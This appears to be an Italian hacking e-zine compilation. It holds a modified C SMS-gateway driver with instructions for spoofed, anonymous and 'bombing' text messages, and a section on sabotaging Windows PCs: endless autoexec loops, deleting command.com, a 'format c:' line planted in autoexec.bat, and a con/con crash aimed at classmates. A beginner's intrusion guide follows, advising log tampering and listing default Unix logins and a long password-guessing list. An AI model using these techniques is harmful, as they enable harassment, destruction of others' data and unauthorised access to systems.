
	va_start(args, fmt);
#if !defined(LINUX)
	vsprintf(buf, fmt, args);
#else
	vsnprintf(buf, 1024, fmt, args);
#endif
	va_end(args);


	/* ------------------------ */

	j = 0;
	for (ptr = buf; *ptr != '\0'; ptr++)
	{
		j += *ptr;

		if (j >= 256)
		{	j -= 256;
		}
	}

	sms_snprintf(buf, 1024, "%02X", j);
	return buf;
}
```

```c
/* ------------------------------------------------------------------ */
/* ------------------------------------------------------------------ */
static char *UCP_build_transaction(int transaction_id, char transaction_type,
                                int operation_type, const char *fmt, ...)
{
        va_list args;
static  char    buf[1024];
        char    header[1024],
                data[1024],
                codestring[1024];

        FILE *fcd;


        va_start(args, fmt);
#if !defined(LINUX)
        vsprintf(data, fmt, args);
#else
        vsnprintf(data, 1024, fmt, args);
#endif
        va_end(args);

        /* ------------------------ */


        fcd = fopen("codice","r");
        fscanf(fcd,"%s",&codestring);
        fclose(fcd);

        sms_snprintf(header, 1024, "%02d/%05d/%c", transaction_id,
          sms_strlen(data) + sms_strlen(codestring) + 15, transaction_type);

        printf("<STX>%s/%s/%s/%s<ETX>\n",header,codestring,
            data,UCP_generate_checksum("%s/%s/%s/",header,codestring,data));

        sms_snprintf(buf, 1024, "%c%s/%s/%s/%s%c", S_STX,
                        header,
                        codestring,
                        data,
                        UCP_generate_checksum("%s/%s/%s/",
                                        header, codestring, data),
                        S_ETX);

        return buf;
}


/* ------------------------------------------------------------------ */
/* ------------------------------------------------------------------ */
static char *UCP_build_message(char *msisdn, char *message)
{
        char    ia5_message[1024],
                *src,
                *dest;


        dest = ia5_message;
        for (src = message; *src != '\0'; src++)
        {
                sms_snprintf(dest, 1024, "%02X", *src);
                dest += 2;
```

```
	}

	return UCP_build_transaction(1, 'O', 1, "%s", ia5_message);
}


/* ------------------------------------------------------------------ */
/* Return Values:                                                     */
/*	 0 Positive ACK                                                  */
/*	 1 Negative ACK                                                  */
/*	-1 Error                                                         */
/* ------------------------------------------------------------------ */
static int UCP_parse_response(char *string)
{
	int	result;

	int	transaction,
		length,
		type,
		checksum;

	char	ack,
		recipient[64],
		timestamp[64];

	/* ------------------------------------------------------------ */
	/* Example:                                                      */
	/* <STX>01/00045/R/01/A/0041544180972:161298112313/A6<ETX>       */
	/* <STX>01/00019/R/01/A//69<ETX>                                 */
	/* ------------------------------------------------------------ */

	result = sscanf(string, "\002%02d/%05d/R/%02d/%c/%16[^:]:%12s/%02X\003",
		 &transaction,
		 &length,
		 &type,
		 &ack,
		 recipient,
		 timestamp,
		 &checksum);

	if (result != 7)
	{
		result = sscanf(string, "\002%02d/%05d/R/%02d/%c//%02X\003",
			 &transaction,
			 &length,
			 &type,
			 &ack,
			 &checksum);

		if (result != 5)
		{	return -1;
		}
	}

	/* ---------------------------- */

	result = -1;

	if (ack == 'A')
	{	result = 0;
	}
	else
```

```
	if (ack == 'N')
	{	result = 1;
	}

	return result;
}

/* ------------------------------------------------------------------ */
/* ------------------------------------------------------------------ */
static int UCP_sendmessage(char *msisdn, char *message)
{
	char	buf[MAX_RESPONSE_BUFSIZE],
		*ucp_message;

	int	result;


	ucp_message = UCP_build_message(msisdn, message);
	twrite(FD, ucp_message, sms_strlen(ucp_message), WRITETIMEOUT);

	if (expstr(FD, buf, "\03", MAX_RESPONSE_BUFSIZE, DELIVERTIMEOUT) == 0)
	{
		lprintf(LOG_STANDARD, "SMSC Respsonse: %s\n", buf);

		result = UCP_parse_response(buf);
		if (result == 0)
		{
			lprintf(LOG_STANDARD, "Received Acknowledgement\n");
		}
		else
		if (result == 1)
		{	lprintf(LOG_STANDARD, "Acknowledgement Failed\n");

			UCP_hangup();
			return EUCP_ACKFAILED;
		}
		else
		{	lprintf(LOG_STANDARD, "Bad Acknowledgement\n");

			UCP_hangup();
			return EUCP_BADACK;
		}
	}
	else
	{	lprintf(LOG_STANDARD, "No Message Response\n");

		UCP_hangup();
		return EUCP_NORESPONSE;
	}

	return 0;
}

/* ------------------------------------------------------------------ */
/* ------------------------------------------------------------------ */
static void UCP_hangup(void)
{	default_hangup((DRIVER_DEFAULT_ENV *)(&driver_env));
}

/* ------------------------------------------------------------------ */
/* ------------------------------------------------------------------ */
DEVICE_ENTRY ucp_device = {
```

```
	"UCP",
	"1.0",
	resource_list,
	(DRIVER_DEFAULT_ENV *)(&driver_env),

	default_init,
	default_main,
	default_validate_numeric_id,
	default_dial,
	default_hangup,
	default_send_disconnect,
	default_single_deliver,
	UCP_sendmessage,
	default_login
};
<-X->
```

Creato il file ucp.c sostituitelo nella sottodirectory /src/driver del programma sms_client, deve esisterne gia' uno con questo nome. Ricompilate. Andate nella sottodir /bin dove devono esserci i nuovi file eseguibili, soprattutto il file sms_client.

Ora siamo pronti per mandare un messaggio, manca solo da editare il file 'codice' Questo file e' usato dalla mia modifica di ucp.c per poter mandare comandi qualunque al gateway, senza passare dalle ridotte opzioni di sms_client.

Create il file 'codice'.

In questo file va messa una parte del campo HEADER e del campo DATA dell'sms che volete inviare. Dell'header solo il campo OT, del data tutto tranne AMasg.

Ovvero, rifacendosi al messaggio 'Satana ti vede', dentro il file 'codice' va messa questa riga di testo:

01/0039347123456/666//3

Salva il file. Ora spostalo nella dir dove e' presente l'eseguibile sms_client
e batti

./sms_client d2:0 'Satana ti vede'

In questo caso Il nostro pc telefonera' al gateway di d2 (file definito nella dir /etc/sms/services) e cerchera' di mandare il messaggio secondo quello che e' scritto nel file 'codice'. Il programma vi fara' vedere cosa combina passo
per passo e se tutto e' andato a buon fine qualche vostro amico potrebbe riconsiderare "L'Esorcista".

Per mandare un sms multiplo il nostro file codice dovra' contenere ad esempio la riga

02/3/0039347123456/0039347543210/0039347234765/666//3

e partiranno 3 sms con un'unica chiamata.

Un sms bombing sara' invece cosi'

02/20/0039347123456/0039347123456/0039347123456/0039347123456/0039347123456/
... eccetera
Ma non abusatene! Pensate a quel poveretto!
OK, credo di aver detto tutto... ci sono altre mille cose che si possono fare
con queste poche e scarne informazioni, dipende poi dalla vostra fantasia.
Se fate qualche bello scherzo mandatemi il log che mi diverto troppo con queste storie...
Dimenticavo. Se qualcuno vuole cimentarsi in qualcosa di piu' tosto si studi come vengono codificati gli SMS che trasportano ad esempio loghi per NOKIA (guardatevi su qualche doc gli "OTA BITMAP"). Mi gioco le palle che se
si formatta male il campo header di questi messaggi (tipo facendo credere che arrivi un bitmap di dimensioni spropositate o nulle) si manda quasi sicuramente in crash il cellulare di chi lo riceve...

SMS ANONIMI

Questa e' sicuramente molto piu' semplice..Avete mai provato a chiamare telefonicamente il numero di telefono del centro servizi della TIM? Bhe io si e anche parecchio tempo fa, vi risponderа' un modem. Allora mi sono chiesto e se lo chiamassi con il mio di modem? Avevo scoperto gli SMS anonimi. Ora Vi guidero' passo passo su come effettuare la procedura di connessione (occhio che la chiamata e' come se la faceste da telefono fisso a telefono mobile con tariffa busines quindi siate veloci). Per prima cosa dovere lanciare il programma Hyperterminal presente di default dei programmi accessori ed ecco come sara' la prima schermata (lasciate perdere il primo 0 nel numero quello che dovete selezionare e' quello che segue).

Connetti

sms

Numero di telefono: 0,,335.9609600 Modifica...

Località di chiamata: località predefinita Proprietà di composizione...

Carta telefonica: (Numero diretto)

Componi Annulla

Appena realizzata la connessione avrete la seguente schermata:

sms - HyperTerminal

File Modifica Visualizza Chiama Trasferisci ?

```
TIM SMS Servizio Menu        Servizio ScripTIM        ----------

   Collegamento OK

   Benvenuti nel servizio ScripTIM.

   Terminali abilitati :
1. VT100
2. VT52
3. VT200

Premere invio per continuare oppure CTRL-C per scollegarsi.

http://localhost/it/smlp/menu2.html
```

Connesso a 0000 VT100 115200 8-N-1 SCORR MAIUSC NUM Cattura Eco stampante

Bastera' dare invio per due volte per arrivare nella maschera dove inserire il numero di telefono del destinatario con la possibilita' della consegna differita (Mese/giorno/ora/minuti) . Tenete presente che il messaggio restera' nell'SMS gatway per 48 oro dopodiche' se non consegnato sara' scartato.

sms - HyperTerminal

File Modifica Visualizza Chiama Trasferisci ?

```
TIM SMS Servizio Menu        Servizio ScripTIM        ----------

1. Non attivo :
2. Non attivo : 48
3. Destinatario del messaggio : ________________
4. Consegna differita (MM:GG:hh:mm) : __ : __ : __ : __
5. Testo messaggio (max 160 car.) :

_____________________________________________________________________

6. Non attivo
7. Non attivo

Invio Annula

Riempire i campi 3, 4 (opzionale) e 5; quindi premere Invio
Per spostarsi sui campi utilizzare le frecce del terminale.

(Text entry field) Enter text.  Use UP or DOWN arrows or tab to move off.
```

Connesso a 0002 | VT100 | 115200 8-N-1 | SCORR | MAIUSC | NUM | Cattura | Eco stampante

COME FAR PIANGERE WINDOWS

Un consiglio: queste cose vanno fatte su computer di gente che odiate veramente, non e' ne' giusto ne' corretto farlo solo per sadico divertimento.
Dopo aver aperto questa piccola parentesi...
Windows è il sistema più diffuso del mondo (e il più buggato..), gioia e delizia da sempre tutti gli smanettoni informatici... Basta sapere dove toccare e... Guardate
come piange Windows (e anche l'utente...).
Vediamo quali sono i file principali di Windows...
Il primo è senza dubbio Autoexec.bat, credo che sia il migliore per rovinare il computer.
Poi c'é Command.com, config.sys, krnl386.exe e (logico) win.com ... Ci siamo ?
Bene... Ora, credo che a tutti quando hanno iniziato a usare il computer abbiano detto "..Mi raccomando, non toccare tutti i file..." i genitori hanno sempre ragione..
Tranne che in questo caso.
Cominciamo a divertirci.
Il file autoexec.bat viene aperto ogni volta che il computer viene riavviato... E se aggiungessimo qualcosa tipo:

```
:fase1
ECHO BASTARDI, VI HO FREGATO ANCORA !!!!
goto :fase 1
```

Cosa succederebbe ? Bhe, Windows non partirebbe e si vedrebbe solo la scritta "BASTARDI, VI HO FREGATO ANCORA !!!!" che si ripete sullo schermo all'infinito.. Diverte, no ? Però sarebbe troppo semplice...
Basta cliccare CTRL + C e tutto si ferma... Eh no, questo non mi diverte proprio per niente...
Ma se per caso la tastiera non potrebbe più scrivere ? E come fare ? Staccando la spina ? Dai ragazzi, un po' di stile... Siamo Newbie ma siamo anche bastardi o no ? Allora, per "staccare" la tastiera prima dobbiamo fare una breve precisazione.
Nel mondo esistono numerosi tipi di tastiere. La tastiera italiana è chiamata tastiera QWERTY per via delle prime 6 lettere...
Le tastiere si differenziano per la posizione delle lettere.
Le prime 6 lettere di quella francese sono azerty, quella tedesca qwertz, ecc...
Come fa Dos a sapere quale sia la tastiera giusta ? Nel file config.sys c'è una riga con scritto
country=039,850,C:\WINDOWS\COMMAND\country.sys
Il secondo numero, l'850 è il numero di tabella codici attiva, indica al computer quale serie di codici ascii usiamo... E se qualcuno al posto di 850 scrivesse 430 ?Ehm... Io non sono stato..

Ma lo stile non si compra e noi vogliamo fare qualcosa di unico... Command.com... Cos'é ? E' l'interprete dei comandi, il file che fa da tramite tra noi e lo schermo... E se qualcuno lo cancellasse ?
Proviamo..
C:\>del command.com
No command.com ? No dischetto di ripristino ? Ahi, ahi, ahi !!!!

Cosa possiamo fare altro... Del regedit vi hanno parlato in tanti, io quindi vi parlerò dell'esecuzione automatica... Oddio, che è ?
Bhe se non lo sapete... Vabbé, ve lo spiego. Esecuzione Automatica è una cartella di windows che contiene i file che vengono fatti partire automaticamente ogni volta che parte Win.. E se mettessimo qualcosa tipo un collegamento a
c:\windows\rundll32.exe user,exitwindows

Ogni volta che Win parte automaticamente si chiude... Bestiale, oh.
Vabbé, però lo stile è un'altra cosa.. Allora, che si può fare ? Rinominare !!!

```
c:\> ren autoexec.bat segaiolofaid.ate
c:\> ren config.sys vafanculo.123
c:\> ren krnl386.exe ahhhh.hhh
```

Voglio vedere se adesso Win parte..
La cosa più bastarda a questo mondo però sarebbe fare tabula rasa del computer... Come ? Molto semplice. Nella'autoexec.bat aggiungete questa riga
format c:\autotest
Non sapete cosa fa ? Un consiglio: fatelo solo su computer di persone che odiate... MI RACCOMANDO, QUESTO COMANDO E' MOLTO DANNOSO, FATELO SOLO SE SIETE SERIAMENTE INTENZIONATI
Però lo stile è un'altra cosa...

Poi si potrebbero fare bastardate varie ai compagni durante l'ora di informatica per dimostrare ai tecnici della scuola quanto Win 98 è instabile.. Magari un vostro compagno ha appena finito la prova e voi gli dite "Vuoi provare un nuovo gioco di Win 98 ?"
Sicuramente quell'altro vi risponderà di sì, e allora voi fate i bastardi.. Ditegli di fare così:
Cliccare su Start, Poi Esegui e scrivere con/con e poi cliccare OK... Ooops !!!! Errore del programma ecc.. Che cazzo vuol dire tutta 'sta merda ??? Semplicissimo !!! Il computer si è bloccato !!! E magari il vostro amico non aveva neppure salvato la prova !!! E si ritrova con tutto il lavoro cancellato !!!
Però, bisogna dirlo, lo stile è un'altra cosa..

Ma che cazzo è lo stile ? Ve lo dico cos'è lo stile ? Lo stile è dimostrare di essere grandi senza necessariamente fare danni, lo stile è studiare per ore per fare una cosa di pochi secondi,
lo stile è poter dormire a scuola durante le ore di informatica perché quelle cose te le sei già fatte a casa quando avevi 9 anni senza nessuno che te le spiegasse
(e quando non dormi è perchè le stai spiegando tu a un branco di incapaci che non sanno nemmeno usare Word), lo stile è essere chiamato a ogni ora, anche sei hai solo 16 anni,
per problemi con il computer da parte di chiunque...
Questo è stile, padronanza del sistema.

GUIDA ITALIANA ALL'HACKING (ver. 1.2).

INDICE:

Responsabilità

Usa queste informazioni a TUO rischio e pericolo. Io, InfectedMachine e qualsiasi altra persona mi abbia aiutato a scrivere questa guida non si assumerà NESSUNA responsabilità per l'uso, l'utilizzo o l'abuso di questo testo.
Le seguenti informazioni sono state scritte SOLAMENTE per scopo educativo e informativo e NON possono essere usate per scopi illegali.
Leggendo questo file tu accetti i seguenti termini:
Comprendo che usare le seguenti informazioni è un atto illegale.
Capisco e accetto di essere il SOLO responsabile delle mie azioni. Se vengo messo nei guai da queste informazioni NON incolperò o tirerò nei guai colui (InfectedMachine) che ha scritto questo testo, ogni altro suo collaboratore come qualsiasi persona mi abbia dato questo file.
Io capisco che le infomazioni qua contenute sono SOLO per scopo di educazione.
Questo file può essere usato per controllare la sicurezza del TUO sistema.

Considerazioni personali:

Mi sono arrivate parecchie mail in cui mi si diceva che quello che ho scritto e' stato scopiazzato da riviste e da faq sparsi in tutta la rete. Questo e' completamente vero!
Non ho voluto fare questa guida basandomi sulle mie conoscenze, ho voluto solamente tradurre i documenti principali che chiunque riuscirebbe a trovare facendo alcune semplici ricerche.
Quindi in questa guida non troverete (forse) nulla di nuovo se avete gia letto documenti come la guida all'hacking di Sir Hackalot o la guida dei novizi della LOD (o altri ancora).
Io ed alcuni miei amici stiamo scrivendo una rivista chiamata "SystemDown" nella quale trattaremo gli argomenti dal nostro punto di vista e con le nostre conoscenze; quindi se volete leggere qualcosa che non e' tratto dalle varie guide sparse per la rete vi consiglio di

tenere d'occhio il sito dal quale avete scaricato il testo che state leggendo.
Questa guida inoltre e' stata scritta APPOSITAMENTE per i principianti e cioe' per quelli che ancora ne sanno poco o nulla; i piu' esperti (ma credo che esperti sia anche troppo...diciamo i piu' informati) tra di voi corrono il rischio di trovare questa guida di scarsa utilita'...
Io vi ho avvisato; vi prego non mandatemi mail dicendomi: "ma quella tua guida in italiano la credevo piu' professionale" o cose del genere ok?
Un'ultima cosa:
Vorrei ringraziare una persona che sta permettendo a questa guida di rimanere online:
JADER ti ringrazio tantissimo; senza il tuo aiuto molto probabilmente questa guida l'avrei letta solo io!

Hacking?!?!?!

L'hacking è l'atto di penetrare nei sistemi per guadagnare conoscenze sul sistema e su come questo lavora.
Quest'azione è illegale perchè noi guadagnamo l'accesso a tutti i dati e li possiamo anche prendere.
Noi veniamo puniti per cercare di capire. I vari governi del mondo spendono un'esagerazione di soldi per cercare di arrestarci quando invece potrebbero investirli per cercare di catturare persone di gran lunga più pericolose degli hackers.
In giro ci sono assassini, stupratori, maniaci e terroristi e sono queste le persone che i governi dovrebbero catturare, non gli hackers.
Al contrario di quello che dicono i governi i veri hackers non sono pericolosi; tutto quello che vogliamo è capire, imparare e forse un giorno le persone del mondo riusciranno a capirlo.
Vorrei anche fare notare una piccola differenza tra gli hackers e i crackers.
Per hacker si intende quella persona che, come abbiamo detto sopra, penetra nei sistemi informatici solamente per capire come essi funzionino realmente; i crackers sono coloro che penetrano nei sistemi informatici e non solo, per causare danni o rubare informazioni. La gente "normale" non conosce questa differenza e tende ad associare all'hacker il classico giovane ragazzo con i capelli lunghi, anarchico che seduto davanti allo schermo del suo computer aspetta che il programma pirata che lui sta usando gli consenta l'accesso al sistema bancario della città per poter rubare soldi in grandi quantità. Fino a che la gente non capirà che gli hackers non sono cattivi come si intende, la polizia li continuerà a perseguitare come assassini o terroristi o come criminali della peggior specie.

Perchè quindi hackerare un sistema?

Come ho detto sopra noi penetriamo nei sistemi per ottenere conoscenze sul sistema stesso e su come questo funziona e lavora. Noi NON vogliamo danneggiare in alcun modo i sistemi in cui penetriamo. Se tu danneggi un sistema, tu puoi essere individuato ed arrestato. Se invece tu non danneggi nulla è molto difficile (ma non impossibile!) che ti riescano a prendere senza spendere molti soldi (e non tutti, governi e grandi industrie a parte, li possiedono ;-)).
I novizi è meglio che leggano qualsiasi cosa sull'hacking prima di compiere l'atto vero e proprio poichè più conoscenze si hanno, meglio si può operare.
E' molto utile anche una buona conoscenza dei linguaggi: c, c++ e assembler oltre ad una totale conoscenza del sistema Unix.

LE 10 REGOLE DELL'HACKING:

1) Non dannegiare mai un sistema. Se lo fai potresti fregarti con le tue stesse mani;
2) Non alterare nessuno dei file di sistema eccetto quelli che devi modificare per non essere individuato (i log file) e quelli che ti permetteranno di avere accesso a quel computer in futuro;
3) Non distribuire i tuoi progetti sull'hacking a nessuno a cui non affideresti la tua vita;
4) Quando posti sulle news, su un bbs (Bulletin Board System) o quando chatti su IRC sii più vago possibile quando parli dei tuoi futuri progetti riguardo all'hacking. Ogni cosa può essere monitorata dalle forze dell'ordine;
5) Non usare mai il tuo vero nome o il tuo vero numero telefonico quando posti su un bbs, sulle news oppure su IRC;
6) Non lasciare i tuoi manipolamenti (tranne quelli necessari) su qualsiasi sistema in cui penetri;
7) NON hackerare i computer dei governi in particolar modo del TUO governo;
8) Non parlare dei tuoi progetti riguardo all'hacking quando parli sulla tua linea telefonica di casa;
9) SII PARANOICO. Metti tutto il materiale riguardo all'hacking in posti sicuri;
10) Per diventare un vero hacker, tu devi hackare. Tu non puoi sederti a leggere un file di testo come questo e pensare di essere un vero hacker.

Strumenti basici di partenza:

Prima di tutto trova una copia dei vari scompattatori esistenti:
ARJ; ZIP; sono i due più importanti; su internet li si può trovare facilmente con un pò di ricerca.
A questo punto, su qualsiasi guida all'hacking reperibile sulla rete, ti consigliano di trovarti un "prefix scanner" cioè uno scanner di prefissi telefonici (detto anche war dialer) che ti permette di trovare i numeri telefonici che possono agganciare la chiamata di un modem; purtroppo visto che l'Italia non è l'America noi non abbiamo dei programmi adeguati alle nostre linee (sebbene sia possibile crearne uno usando - come mi hanno detto alcuni - il visual basic).
Poco male.
Sinceramente non ho verificato se gli scanner di prefissi americani funzionano anche sulle nostre linee; penso di provarci un giorno e comunque non è fondamentale: ci sono altri metodi oltre a quello.
Se proprio vuoi prenderne uno rimedia "Autoscan" (chiamato anche A-Dial) oppure "ToneLoc".

Regole basiche per hackerare uno UNIX:

Il sistema operativo UNIX è il più diffuso in assoluto su Internet poichè è stato progettato esclusivamente per le reti.
L'emulazione dello UNIX sotto il dos si chiama LINUX ed è disponibile la vesione "slackware" su internet; provate su ftp.cdrom.com.
Ci sono tre metodi principali per hackerare un sistema:
1) Default Login
2) Password List
3) Backdoors

Solitamente il login è di 1-8 lettere mentre la password di 6-8.
Lo UNIX e' il piu' diffuso sistema operativo su internet per la sua ottima gestione delle reti; sebbene questo registra le chiamate (non sempre!) e le memorizza nei file utmp, wtmp e btmp raggiungibili in

/etc oppure /var/adm (che sono usati dai comandi login, rlogin, su, remsh, rexec) e' ottimo per provare un primo inserimento.
Piccola parentesi:
Vi sono dei comandi per visualizzare gli ultimi login e cioe':
last (restituisce l'ultimo login)
lastb e blast (restituiscono gli ultimi login falliti).
Occhio al file syslog che registra connessioni andate a buon fine e non.
Un consiglio:
Se proprio non riuscite a rimediare lo Unix per poterlo montare su una vostra macchina o su di una partizione di quest'ultima, installate il sistema operativo "LINUX" poichè alcuni comandi non esistono sotto windows (95 o 3.1) o sotto dos. Sebbene il Linux sia un sistema un pò "rognoso" nell'installazione (per i principianti), permetterà alcune manovre (chiamiamole così) impossibili con il dos.
Appena dentro un sistema in genere si vede un simbolo di questo tipo:
$ (oppure qualsiasi altro speciale simbolo di quel sistema).
Se tu inserisci il comando "man" ti apparirà una lista di tutti i comandi possibili nel sistema.

1) DEFAULT LOGIN:

Questo è il primo dei tre metodi di intrusione in un sistema e consiste nell'inserire una lista di account seguiti da password comuni, ovvero di quelle password che i sysop (system operator: operatori di sistema cioè coloro che controllano tutto il sistema) più ingenui mettono per controllare i propri accessi.
Prima di incominciare ad inserire le password e gli account, dovete scoprire tutte le informazioni possibili sul bersaglio tramite comandi come whois, finger, showmount.
Questi sono tutti comandi dello Unix che danno informazioni su di un utente o su un sistema.
Usate questi comandi anche sull'account root.

ACCOUNT	PASSWORD
root	root, system, sysop, nomesistema, nomepersona quando il root è fingerato (il finger è uno strumento per prendere informazioni su qualcosa collegato ad internet), none, provare anche le password della lista sotto. Molto importante!
sys	sys, system, manager, nomedelsistema, vedi root
daemon	daemon, background, none
uucp	uucp, vedi guest
tty	tty
test	test
unix	unix, test
bin	bin, system, vedi root
adm	adm, admin, sys, vedi root
admin	adm, admin
sysman	sysman, sys, system
sysadmin	sysadmin, sys, system, admin, adm
who	who, none
learn	learn
uuhost	uuhost
guest	guest, user, anonymous, visitor, bbs, nome del sistema o dell'organizzazione.
host	host
nuucp	nuucp, vedi uucp
rje	rje, none, vedi root
games	games, player

sysop	sysop
demo	demo, nomedelsistema, none
visitor	vedi guest
anonymous	vedi guest
anon	vedi guest
user	vedi guest
nomedelsistema	vedi guest
student	student, vedi guest
ftp	ftp, ftpuser, vedi guest
ftpuser	vedi ftp
xxcp	xenix
system	manager
nobody	nobody, none
field	service
archie	archie, none
qarchie	qarchie, none
whois	whois, none
bbs	nomedelsistema, bbs, waffle, none
services	nomedelsistema, services, none
info	nomedelsistema, info, none
new	nomedelsistema, new, none
newuser	nomedelsistema, newuser, none
ingres	none, ingres, nomedelsistema
date	date, none
lpq	lpq, none
time	time, none
weather	weather, forecast, none
forcast	vedi weather
help	help, none
test	nomedelsistema, test, none
waffle	vedi bbs
trouble	trouble, vedi root
lp	lp, printer, print, vedi root
unmountsys	unmountsys, unmount, vedi root
setup	setup, vedi root
makefsys	makefsys, vedi root
sysadm	sysadm, sys, system, vedi sys-adm-root
powerdown	powerdown, vedi root
mountfsys	mountfsys, vedi root
checkfsys	checkfsys, vedi root

In poche parole tenta di trovare un account che abbia il nome di un servizio ed aggiungergli una password con un altro nome di servizio oppure con qualcosa che abbia a che fare con il sistema (nome del proprietario quando si fà il whois, nome del sistema, ecc.).

2) PASSWORD LIST detto anche PASSWORD GUESSING

Un altro metodo per inserirsi in un sistema è quello di "rubare" la password di un altro utente.
Per prendere un valido account a cui dare una password bisogna "fingerare" (usare i vari comandi detti sopra per ottenere le informazioni su di un utente o un sistema) l'utente e leggere (anche se criptato) il passwd file; è meglio se il finger viene fatto durante il giorno.
Una volta trovato l'account (tramite il finger oppure nel passwd file), bisogna inserire una alla volta le password della lista sotto riportata per cercare di individuarne una giusta e per poter così accedere al sistema.

Lista delle più comuni password (in America):

100
666
6969
AAA
aaa
academia
acdc
ada
adrian
aerobics
aids
air
airplane
albany
albatross
albert
alex
alexander
algebra
alias
aliases
alpha
alphabet
ama
amato
america
amerigo
amore
amorphous
amy
analog
anarchy
anchor
andromanche
andy
andrea
angerine
anna
annabella
annalisa
anne
anumal
animals
answer
anthropogeni
c
anvils
anything
areato
aria
ariadne
arrow
arthur
asshole
athena
atmosphere
attacker
attackers
aztecs
azure
bacchus
badass
bailey
banana
bananas
bandit
banks
barber
baritone
bass
bassoon
bastard
batman
beater
beatles
beauty
beaver
beethoven
bella
bellissima
beloved
benz
beowulf
berkley
Berkeley
berlin
berliner
beryl
beta
beverly
bicameral
bisessuali
bisex
black
blacklotus
blu
blue
bob
boston
brenda
brian
bridget
broadway
brown
bumbling
burgess
caffe
caffè
camel
campanile
cantor
cardinal
cardinale
carmen
carolina
caroline
cascades
castle
cat
cayuga
cazzo
cazzone
cd
celtics
cert
cerulean
change
charles
charlie
charming
charon
chester
cigar
classic
clusters
cocaina
cocaine
coffee
coke
collins
comrade
comrades
computer
comrade
condo
condom
cookie
cooper
cornelius
couscious
cracker
crackers
create
creation
creator
creosote
cretin
cyan
daemon
dancer
daniel
daniels
danny
dark
dave
deb
debbie
deborah
december
defoe
deluge
desperate
develop
diet
dieter
digital
digitale
discovery
disney
dog
dragon
dragone
drought

duncan
dylan
eager
easier
easy
eatme
ecco
eccomi
edges
edinburgh
edwin
edwina
egghead
eiderdown
eileen
einstein
elephant
elizabeth
ellen
elsewhere
emerald
engine
engineer
enterprise
enzyme
eretiny
ersatz
establish
estate
etere
etereo
etero
euclid
evelyn
exadecimal
extension
fairway
felicia
fender
fermat
fibre
fidelity
figa
finite
firenze
fishers
flakes
float
flower
flowers
foolproof
football
foresight
format
forsythe
fourier
fred
friend
frighten
frocio
fuck
fufi
fun
fungible
gabriel
gardner
gardener
garfield
gauss
gay
george
gertrude
giants
gibson
giga
ginger
glacier
gnu
golf
golfer
gorgeous
gorges
gosling
gouge
graham
green
gryphon
guerra
guest
guitar
gumption
gunsnroses
guntis
hack
hacker
hackers
hamlet
handily
happening
hard
hardrock
harmony
harold
harvey
hashish
heavy
heavymetal
hebrides
heinlein
hello
help
herbert
hiawatha
hibernia
hiv
hollywood
holmes
honey
horse
horus
hutchins
imbroglio
imperial
include
ingres
inna
innocuous
inside
id
ip
irishman
ironmaiden
isis
italia
jack
jackdaniels
japan
jessica
jester
jets
jfk
jixian
yngwie
johnny
joker
joseph
joshua
judith
juggle
julia
juventus
kathleen
kbyte
kbites
kennedy
kermit
kernel
kernel32
kevin
king
kirk
kirkland
knight
krypto
kryptonite
kult
kurt
ladie
ladle
lambda
lamination
larkin
larry
lawrence
lazarus
lebesgue
led
lee
leland
leroy
lewis
light
linux

lisa
list
lista
lists
listato
lorenzo
louis
love
low
lower
lowered
lynne
mac
macintosh
mack
mage
maggot
magic
magica
magiche
mago
magù
maiden
malcolm
malmsteen
marco
marlboro
mark
markus
marty
marvel
marvin
master
maurice
mega
megabyte
megabytes
mel
mela
mellon
merlin
metal
metallica
mets
michael
michelle
mike
milan
milano
minimum
minsky
mit
modena
mogul
moose
morley
mozart
nancy
napoleon
nasa
ncsc
nepenthe
ness
network
newton
next
none
noxious
nutrition
nygiants
nyjets
nyquist
ocean
oceano
oceanography
ocelot
olivetti
olivia
omosessuale
open
oracle
orca
orwell
osiris
outlaw
oxford
pacific
painless
pakistan
pam
paper
papers
parma
pascoli
passwd
password
passwords
pat
patricia
penguin
peoria
percolate
persimmon
persona
pete
peter
phiber
phiberoptick
philip
phoenix
phreak
pierre
pinkfloyd
pirata
pizza
plover
plugh
plymouth
polynomial
pondering
pork
poster
praetorian
praise
precious
prelude
prince
princeton
protect
protocol
protocollo
protozoa
pumpkin
puneet
puppet
Purdue
purdue
rabbit
rachmaninoff
rainbow
raindrop
raleigh
random
rascal
read
reading
reagan
really
rebecca
red
redder
remote
repubblica
republic
rick
ripple
robot
robotics
rochester
rolex
rollingstone
roma
romano
ronald
rosebud
rosemary
roses
router
rsa
ruben
rules
ruth
sal
satan
satana
saxon
scamper
scheme
scott
scotty
secret
send
sender

sending
sensor
serenity
sex
sexpistols
shark
sharks
sharon
sheffield
sheldon
sherlock
shit
shiva
shivers
shuttle
sid
sidvicious
signature
simon
simona
simple
singer
single
sirio
smile
smiles
smooch
smother
snatch
snoopy
soap
socrates
sorriso
sossina
sparrows
spit
spring
springer
squires
sri
star
starwar
starwars
stilskin
strangle
strangolare
stratford
stregone
strozzapreti
stuttgart
subway
success
summer
super
superman
superstage
support
supported
surfer
suzanne
swearer
symmetry
tangerine
tape
target
tarragon
taylor
tcp
tcp-ip
tcp/ip
tcpip
telephone
temptation
thailand
TheNic
thenic
tiger
toggle
tohack
tomato
topography
tortoise
toyota
trails
train
trains
transfer
transfering
trasferiment
o
trash
trivial
trofei
trofeo
trombone
tron
trophy
trophies
trustno1
TrustNo1
trustnoone
TrustNoOne
tubas
tuttle
u2
umesh
unhappy
unicorn
unix
unknow
urchin
utility
Uunet
vasant
veleno
venezia
venom
vertigo
vicious
vicky
village
virginia
vittoria
war
warcraft
warcraft2
warren
water
weenie
whatnot
whiting
whitney
will
william
williamsburg
willie
winston
wisconsin
wizard
wombat
woodwind
wormwood
xyzzy
yaco
yacov
yang
year
years
yellowstone
yosemite
zap
zimmerman
zorro
zupperman
z
zz
zzz

Ci sono nel mezzo anche parole italiane che mi ha passato un mio conoscente e che dice siano maggiormente usate...mi voglio fidare... :-))

3) BACKDOORS

Le backdoors sono quelle password che il programmatore del sistema mette per avere accesso in futuro a quel dato computer e che solamente lui conosce.
Per cercare di individuare la password bisogna fare lunghe ricerca sulla persona che ha impostato tutto il sistema: che squadra tifa, quali sono i suoi hobby, i suoi idoli, il nome dei vari componenti della famiglia, le date di nascita, queste ultime al contrario o mischiate tra loro, ecc.
Tanto per capirci se avete visto il film "**wargames**", il protagonista passa intere giornate a studiare vita morte e miracoli del programmatore del sistema oppure anche nel più recente film "**hackers**" i due protagonisti cercano addirittura gli appunti gettati via nella spazzatura pur di trovare una password o qualcosa che li possa aiutare.
Sicuramente questo è il sistema più difficile ma credo che dopo una lunga ricerca sia anche il più sicuro poichè poche persone (cioe' quelle furbe) inseriscono come password qualcosa che non gli è famigliare.
